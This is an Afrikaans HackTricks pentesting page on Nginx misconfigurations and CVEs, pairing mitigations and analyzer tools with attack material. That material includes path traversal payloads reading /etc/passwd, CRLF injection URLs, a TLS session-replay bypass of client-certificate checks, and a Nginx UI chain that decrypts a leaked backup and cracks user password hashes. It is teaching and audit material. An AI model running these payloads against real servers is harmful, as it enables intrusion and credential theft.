Nginx
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).
Ondersteun HackTricks
- Kyk na die intekenplanne!
- Sluit aan by die 💬 Discord-groep, die telegram-groep, volg @hacktricks_live op X/Twitter, of kyk na die LinkedIn-bladsy en YouTube-kanaal.
- Deel hacking tricks deur PRs in te stuur na die HackTricks en HackTricks Cloud github repos.
Ontbrekende root location
Wanneer die Nginx-bediener gekonfigureer word, speel die root directive ’n kritieke rol deur die basisgids te definieer waaruit lêers bedien word. Oorweeg die voorbeeld hieronder:
server {
root /etc/nginx;
location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}
In hierdie konfigurasie is /etc/nginx as die root directory aangewys. Hierdie opstelling laat toegang toe tot lêers binne die gespesifiseerde root directory, soos /hello.txt. Dit is egter belangrik om daarop te let dat slegs ’n spesifieke location (/hello.txt) gedefinieer is. Daar is geen konfigurasie vir die root location (location / {...}) nie. Hierdie weglating beteken dat die root directive wêreldwyd van toepassing is, wat versoeke na die root path / in staat stel om toegang te kry tot lêers onder /etc/nginx.
’n Kritieke sekuriteitsoorweging spruit uit hierdie konfigurasie. ’n Eenvoudige GET request, soos GET /nginx.conf, kan sensitiewe inligting blootstel deur die Nginx-konfigurasielêer wat by /etc/nginx/nginx.conf geleë is, te bedien. Om die root na ’n minder sensitiewe directory, soos /etc, te stel, kan hierdie risiko verminder, maar dit kan steeds onbedoelde toegang tot ander kritieke lêers toelaat, insluitend ander konfigurasielêers, access logs, en selfs geënkripteerde credentials wat vir HTTP basic authentication gebruik word.
Alias LFI Misconfiguration
In die konfigurasielêers van Nginx is ’n noukeurige inspeksie van die “location” directives nodig. ’n Vulnerability bekend as Local File Inclusion (LFI) kan onbedoeld ingestel word deur ’n konfigurasie wat soos die volgende lyk:
location /imgs {
alias /path/images/;
}
Hierdie konfigurasie is geneig tot LFI-aanvalle omdat die server requests soos /imgs../flag.txt interpreteer as ’n poging om files buite die bedoelde directory te access, wat effektief oplos na /path/images/../flag.txt. Hierdie flaw laat attackers toe om files vanaf die server se filesystem te retrieve wat nie via die web accessible behoort te wees nie.
Om hierdie vulnerability te mitigate, moet die konfigurasie aangepas word om:
location /imgs/ {
alias /path/images/;
}
Meer inligting: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/
Accunetix toetse:
alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403
Onveilige padbeperking
Kyk na die volgende bladsy om te leer hoe om directives soos: te omseil
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
Proxy / WAF Protections Bypass
Onveilige veranderlike gebruik / HTTP Request Splitting
Caution
Kwesbare veranderlikes
$urien$document_uri en dit kan reggemaak word deur hulle met$request_urite vervang.’n regex kan ook kwesbaar wees soos:
location ~ /docs/([^/])? { … $1 … }- Kwesbaar
location ~ /docs/([^/\s])? { … $1 … }- Nie kwesbaar nie (kontroleer spasies)
location ~ /docs/(.*)? { … $1 … }- Nie kwesbaar nie
’n Kwesbaarheid in Nginx-konfigurasie word deur die voorbeeld hieronder gedemonstreer:
location / {
return 302 https://example.com$uri;
}
Die karakters \r (Carriage Return) en \n (Line Feed) dui nuwe lyn-karakters in HTTP requests aan, en hul URL-encoded vorms word voorgestel as %0d%0a. Deur hierdie karakters in ’n request in te sluit (bv. http://localhost/%0d%0aDetectify:%20clrf) na ’n verkeerd gekonfigureerde server, veroorsaak dat die server ’n nuwe header uitreik met die naam Detectify. Dit gebeur omdat die $uri variable die URL-encoded nuwe lyn-karakters decode, wat lei tot ’n onverwagte header in die response:
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf
Lees meer oor die risiko’s van CRLF injection en response splitting by https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.
Ook word hierdie technique in hierdie talk verduidelik met sommige vulnerable voorbeelde en dectection mechanisms. Byvoorbeeld, om hierdie misconfiguration vanuit ’n blackbox-perspektief te detect jy kon hierdie requests gebruik:
https://example.com/%20X- Enige HTTP codehttps://example.com/%20H- 400 Bad Request
As dit vulnerable is, sal die eerste terugkeer aangesien “X” enige HTTP method is en die tweede ’n error teruggee aangesien H nie ’n geldige method is nie. So sal die server iets soos die volgende ontvang: GET / H HTTP/1.1 en dit sal die error trigger.
Nog detection examples sou wees:
http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x- Enige HTTP codehttp://company.tld/%20HTTP/1.1%0D%0AHost:%20x- 400 Bad Request
Sommige vulnerable configurations wat in daardie talk aangebied is, was:
- Let op hoe
$urias-is in die finale URL ingestel is
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
- Let weer op hoe
$uriweer in die URL is (hierdie keer binne ’n parameter)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
- Nou in AWS S3
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}
Enige veranderlike
Dit is ontdek dat deur die gebruiker verskafde data onder sekere omstandighede as ’n Nginx-veranderlike hanteer kan word. Die oorsaak van hierdie gedrag bly ietwat ontwykend, maar dit is nie skaars of eenvoudig om te verifieer nie. Hierdie afwyking is uitgelig in ’n sekuriteitsverslag op HackerOne, wat hier bekyk kan word. Verdere ondersoek na die foutboodskap het gelei tot die identifisering van die voorkoms daarvan binne die SSI filter module van Nginx se codebase, wat Server Side Includes (SSI) as die grondoorsaak uitwys.
Om hierdie wanopstelling te detect, kan die volgende command uitgevoer word, wat behels dat ’n referer header gestel word om vir variable printing te toets:
$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
Skanderings vir hierdie verkeerde konfigurasie oor stelsels het verskeie gevalle onthul waar Nginx-veranderlikes deur ’n gebruiker gedruk kon word. ’n Afname in die aantal kwesbare gevalle dui egter daarop dat pogings om hierdie probleem reg te maak ietwat suksesvol was.
Using try_files with $URI$ARGS variables
Die volgende Nginx-verkeerde konfigurasie kan lei tot ’n LFI-kwesbaarheid:
location / {
try_files $uri$args $uri$args/ /index.html;
}
In ons konfigurasie het ons die directive try_files wat gebruik word om in die gespesifiseerde volgorde vir die bestaan van files te kyk. Nginx sal die eerste een wat dit vind, server. Die basiese sintaksis van die try_files directive is soos volg:
try_files file1 file2 ... fileN fallback;
Nginx sal kyk vir die bestaan van elke lêer in die gespesifiseerde volgorde. As ’n lêer bestaan, sal dit onmiddellik bedien word. As geen van die gespesifiseerde lêers bestaan nie, sal die versoek na die fallback-opsie oorgedra word, wat ’n ander URI of ’n spesifieke foutbladsy kan wees.
Wanneer $uri$args veranderlikes egter in hierdie directive gebruik word, sal die Nginx probeer om te soek vir ’n lêer wat ooreenstem met die request URI gekombineer met enige query string arguments. Daarom kan ons hierdie configuration uitbuit:
http {
server {
root /var/www/html/public;
location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}
Met die volgende payload:
GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com
Met ons payload sal ons die root directory (gedefinieer in Nginx configuration) ontsnap en die /etc/passwd-lêer laai. In debug logs kan ons waarneem hoe die Nginx die files probeer:
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK
PoC teen Nginx met die konfigurasie hierbo genoem:

Raw backend response reading
Nginx bied ’n kenmerk deur proxy_pass wat die onderskepping van errors en HTTP headers wat deur die backend gegenereer word, moontlik maak, met die doel om interne error messages en headers weg te steek. Dit word bereik deurdat Nginx custom error pages in reaksie op backend errors bedien. Daar ontstaan egter uitdagings wanneer Nginx ’n ongeldige HTTP request teëkom. So ’n request word, soos ontvang, na die backend deurgegee, en die backend se raw response word dan direk na die client gestuur sonder Nginx se ingryping.
Oorweeg ’n voorbeeldscenario wat ’n uWSGI application behels:
def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]
Om dit te bestuur, word spesifieke directives in die Nginx-konfigurasie gebruik:
http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
- proxy_intercept_errors: Hierdie directive aktiveer Nginx om ’n pasgemaakte response te dien vir backend responses met ’n statuskode groter as 300. Dit verseker dat, vir ons voorbeeld uWSGI application, ’n
500 Errorresponse onderskep en deur Nginx hanteer word. - proxy_hide_header: Soos die naam aandui, versteek hierdie directive gespesifiseerde HTTP headers vir die client, wat privaatheid en sekuriteit verbeter.
Wanneer ’n geldige GET request gemaak word, verwerk Nginx dit normaalweg, en gee ’n standaard error response terug sonder om enige geheime headers te onthul. ’n Ongeldige HTTP request omseil egter hierdie meganisme, wat lei tot blootstelling van ru backend responses, insluitend geheime headers en error messages.
merge_slashes set to off
By default is Nginx se merge_slashes directive op on gestel, wat multiple forward slashes in ’n URL saamdruk na ’n enkele slash. Hierdie feature, hoewel dit URL-verwerking stroomlyn, kan onbedoeld vulnerabilities in applications agter Nginx verberg, veral dié wat geneig is tot local file inclusion (LFI) attacks. Security experts Danny Robinson and Rotem Bar het die moontlike risks wat met hierdie default behavior verband hou, uitgelig, veral wanneer Nginx as ’n reverse-proxy optree.
Om sulke risks te verminder, word dit aanbeveel om die merge_slashes directive af te skakel vir applications wat vatbaar is vir hierdie vulnerabilities. Dit verseker dat Nginx requests na die application deurstuur sonder om die URL-struktuur te verander, en dus nie enige onderliggende security issues masker nie.
Vir meer information kyk Danny Robinson and Rotem Bar.
Maclicious Response Headers
Soos getoon in this writeup, is daar sekere headers wat, indien dit in die response van die web server teenwoordig is, die gedrag van die Nginx proxy sal verander. Jy kan hulle in the docs nagaan:
X-Accel-Redirect: Gee aan Nginx om intern ’n request na ’n gespesifiseerde location te redirect.X-Accel-Buffering: Beheer of Nginx die response moet buffer of nie.X-Accel-Charset: Stel die character set vir die response wanneer X-Accel-Redirect gebruik word.X-Accel-Expires: Stel die vervaltyd vir die response wanneer X-Accel-Redirect gebruik word.X-Accel-Limit-Rate: Beperk die oordragtempo vir responses wanneer X-Accel-Redirect gebruik word.
Byvoorbeeld, die header X-Accel-Redirect sal ’n interne redirect in die nginx veroorsaak. Dus sal ’n nginx configuration met iets soos root / en ’n response van die web server met X-Accel-Redirect: .env maak dat nginx die inhoud van /.env stuur (Path Traversal).
Default Value in Map Directive
In die Nginx configuration speel die map directive dikwels ’n rol in authorization control. ’n Algemene fout is om nie ’n default value te spesifiseer nie, wat tot unauthorized access kan lei. Byvoorbeeld:
http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}
server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}
Sonder default kan ’n kwaadwillige gebruiker sekuriteit omseil deur toegang te kry tot ’n ongedefinieerde URI binne /map-poc. The Nginx manual beveel aan dat ’n default value ingestel word om sulke probleme te vermy.
DNS Spoofing Vulnerability
DNS spoofing teen Nginx is onder sekere toestande haalbaar. As ’n aanvaller die DNS server ken wat deur Nginx gebruik word en sy DNS queries kan onderskep, kan hulle DNS records spoof. Hierdie metode is egter ondoeltreffend as Nginx gekonfigureer is om localhost (127.0.0.1) vir DNS resolution te gebruik. Nginx laat toe dat ’n DNS server soos volg gespesifiseer word:
resolver 8.8.8.8;
proxy_pass en internal Direktiewe
Die proxy_pass-direktief word gebruik om versoeke na ander bedieners te herlei, hetsy intern of ekstern. Die internal-direktief verseker dat sekere liggings slegs binne Nginx toeganklik is. Alhoewel hierdie direktiewe nie op sigself kwesbaarhede is nie, vereis hul konfigurasie noukeurige ondersoek om sekuriteitsfoute te voorkom.
proxy_set_header Upgrade & Connection
As die nginx-bediener gekonfigureer is om die Upgrade- en Connection-headers deur te gee, kan ’n h2c Smuggling attack uitgevoer word om beskermde/intern eindpunte te bereik.
Caution
Hierdie kwesbaarheid sal ’n aanvaller toelaat om ’n direkte verbinding met die
proxy_pass-eindpunt te vestig (http://backend:9999in hierdie geval) waarvan die inhoud nie deur nginx gekontroleer gaan word nie.
Voorbeeld van kwesbare konfigurasie om /flag van hier te steel:
server {
listen 443 ssl;
server_name localhost;
ssl_certificate /usr/local/nginx/conf/cert.pem;
ssl_certificate_key /usr/local/nginx/conf/privkey.pem;
location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}
location /flag {
deny all;
}
Warning
Let op dat selfs al was die
proxy_passna ’n spesifieke path wys, sooshttp://backend:9999/socket.iodie verbinding gestig sal word methttp://backend:9999so jy kan enige ander path binne daardie interne endpoint kontak. So dit maak nie saak of ’n path in die URL van proxy_pass gespesifiseer word nie.
HTTP/3 QUIC module remote DoS & leak (2024)
Tydens 2024 het Nginx CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 en CVE-2024-35200 bekendgemaak, wat toon dat ’n enkele vyandige QUIC sessie worker processes kan laat crash of memory kan leak wanneer die eksperimentele ngx_http_v3_module gekompileer is en ’n listen ... quic socket blootgestel word. Geaffekteerde builds is 1.25.0–1.25.5 en 1.26.0, terwyl 1.27.0/1.26.1 die fixes bevat; die memory disclosure (CVE-2024-34161) vereis boonop MTUs groter as 4096 bytes om sensitiewe data te openbaar (besonderhede in die 2024 nginx advisory waarna hieronder verwys word).
Recon & exploitation hints
- HTTP/3 is opt-in, so scan vir
Alt-Svc: h3=":443"responses of brute-force UDP/443 QUIC handshakes; sodra dit bevestig is, fuzz die handshake en STREAM frames met customquiche-client/nghttp3payloads om worker crashes te trigger en log leakage af te dwing. - Vinnig fingerprint target support met:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/
TLS session resumption bypass of client cert auth (CVE-2025-23419)
’n Februarie 2025 advisories het onthul dat nginx 1.11.4–1.27.3 wat met OpenSSL gebou is, hergebruik van ’n TLS 1.3-sessie van een name-based virtual host binne ’n ander toelaat, sodat ’n client wat ’n sertifikaatvrye host onderhandel het die ticket/PSK kan herhaal om in ’n vhost te spring wat met ssl_verify_client on; beskerm word en mTLS heeltemal oorslaan. Die bug word geaktiveer wanneer veelvuldige virtual hosts dieselfde TLS 1.3 session cache en tickets deel (sien die 2025 nginx advisories waarna hieronder verwys word).
Attacker playbook
# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem
# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof
As die teiken kwesbaar is, voltooi die tweede handshake sonder om ’n kliëntsertifikaat voor te lê, wat beskermde liggings blootstel.
Wat om te oudit
- Gemengde
server_name-blokkies watssl_session_cache shared:SSLplusssl_session_tickets on;deel. - Admin/API-blokkies wat mTLS verwag maar gedeelde sessions cache/ticket-instellings van openbare hosts erf.
- Automation wat TLS 1.3 session resumption globaal aktiveer (bv. Ansible roles) sonder om vhost-isolasie te oorweeg.
HTTP/2 Rapid Reset-resiliensie (CVE-2023-44487-gedrag)
Die HTTP/2 Rapid Reset-aanval (CVE-2023-44487) beïnvloed steeds nginx wanneer operators keepalive_requests of http2_max_concurrent_streams bo die defaults opdraai: ’n attacker open een HTTP/2 connection, oorstroom dit met duisende streams, en stuur dan onmiddellik RST_STREAM-rame so die concurrency-plafon nooit bereik word nie terwyl CPU aanhou brand op tear-down logic. Nginx-defaults (128 concurrent streams, 1000 keepalive requests) hou die blast radius klein; om daardie limiete “substantially higher” te skuif maak dit triviaal om workers uit te honger selfs vanaf ’n enkele client (sien die F5 write-up waarna hieronder verwys word).
Detection tips
# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/
Gashere wat buitengewoon hoë waardes vir daardie directives openbaar, is prima teikens: een HTTP/2 client kan deur stream creation loop en onmiddellike RST_STREAM frames stuur om CPU vas te pen sonder om die concurrency cap te aktiveer.
Nginx UI pre-auth backup export + crypto material leakage
Nginx UI is ’n aparte admin panel vir nginx, nie die nginx daemon self nie. In Nginx UI < 2.3.3 kan die backup export endpoint moontlik sonder authentication bereikbaar wees, en die response kan ook die AES-256-CBC key and IV lek wat nodig is om die backup via die X-Backup-Security header te decrypt. Dit verander ’n “encrypted backup download” in onmiddellike credential / token / private-key disclosure.
Fast version fingerprinting from SPA assets
As die login page ’n JS-heavy SPA is, trek die main bundle van / af en kyk vir ’n dedicated version chunk:
curl -s http://admin.example/ | grep -oP 'assets/index-[^"]+\.js'
curl -s http://admin.example/assets/index-<hash>.js | grep -oP 'version[-\\w]*\\.js'
curl -s http://admin.example/assets/version-<hash>.js
Op kwesbare Nginx UI builds gee dit dikwels ’n letterlike string soos const t="2.3.2", wat genoeg is om die kwesbare reeks te pas voordat jy authenticate.
Check exposed API endpoints and pull the backup
Selfs wanneer die meeste /api/* routes 403 teruggee, toets backup-style endpoints direk:
curl -s http://admin.example/api/install
curl -s -D headers.txt -o backup.zip http://admin.example/api/backup
grep -i '^X-Backup-Security:' headers.txt
unzip -l backup.zip
As dit kwesbaar is, bevat X-Backup-Security base64(key):base64(iv). Dekodeer albei waardes en bevestig die verwagte lengtes (32-byte key, 16-byte IV):
KEY_B64='<base64-key>'; IV_B64='<base64-iv>'
KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 0)
IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 0)
unzip backup.zip -d backup
openssl enc -aes-256-cbc -d -in backup/hash_info.txt -out hash_info.txt -K "$KEY_HEX" -iv "$IV_HEX"
openssl enc -aes-256-cbc -d -in backup/nginx.zip -out nginx_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"
openssl enc -aes-256-cbc -d -in backup/nginx-ui.zip -out nginx-ui_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"
Na dekripsie, inspekteer die herstelde nginx configs en die Nginx UI application data. ’n Algemene post-exploitation pad is:
- Extract reverse-proxy en vhost details uit
nginx_dec.zip - Inspekteer
nginx-ui_dec.zipvirapp.ini,database.db, API tokens, of certificate material - Dump die SQLite
userstable en crack herstelde password hashes offline
unzip nginx-ui_dec.zip -d nginx-ui
sqlite3 nginx-ui/database.db 'select name,password from users;'
hashcat -m 3200 hashes.txt <wordlist>
Hierdie patroon is ook die moeite werd om in ander admin produkte te toets: ’n ongeverifieerde “encrypted” export is steeds plaintext disclosure as die response die dekripsiemateriaal lek of dit saam met die argief stoor.
Probeer dit self
Detectify het ’n GitHub repository geskep waar jy Docker kan gebruik om jou eie kwesbare Nginx toetsbediener met sommige van die misconfigurations wat in hierdie artikel bespreek word op te stel en self te probeer om dit te vind!
https://github.com/detectify/vulnerable-nginx
Static Analyzer tools
gixy-ng & Gixy-Next & GIXY
- Gixy-Next (’n opgedateerde fork van GIXY) is ’n tool om Nginx configurations te analiseer, met die doel om vulnerabilities, insecure directives, en riskante misconfigurations te vind. Dit vind ook misconfigurations wat performance beïnvloed, en detecteer gemiste hardening opportunities, wat outomatiese flaw detection moontlik maak.
- gixy-ng (die aktief onderhoude fork van GIXY) is ’n tool om Nginx configurations te analiseer, met die doel om vulnerabilities, insecure directives, en riskante misconfigurations te vind. Dit vind ook misconfigurations wat performance beïnvloed, en detecteer gemiste hardening opportunities, wat outomatiese flaw detection moontlik maak.
Nginxpwner
Nginxpwner is ’n eenvoudige tool om te soek na algemene Nginx misconfigurations en vulnerabilities.
References
- https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/
- http://blog.zorinaq.com/nginx-resolver-vulns/
- https://github.com/yandex/gixy/issues/115
- https://mailman.nginx.org/pipermail/nginx-announce/2024/GWH2WZDVCOC2A5X67GKIMJM4YRELTR77.html
- https://mailman.nginx.org/pipermail/nginx-announce/2025/NYEUJX7NCBCGJGXDFVXNMAAMJDFSE45G.html
- https://www.f5.com/company/blog/nginx/http-2-rapid-reset-attack-impacting-f5-nginx-products
- https://0xdf.gitlab.io/2026/04/01/htb-snapped.html
- https://nvd.nist.gov/vuln/detail/CVE-2026-27944
- https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-g9w5-qffc-6762
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).
Ondersteun HackTricks
- Kyk na die intekenplanne!
- Sluit aan by die 💬 Discord-groep, die telegram-groep, volg @hacktricks_live op X/Twitter, of kyk na die LinkedIn-bladsy en YouTube-kanaal.
- Deel hacking tricks deur PRs in te stuur na die HackTricks en HackTricks Cloud github repos.


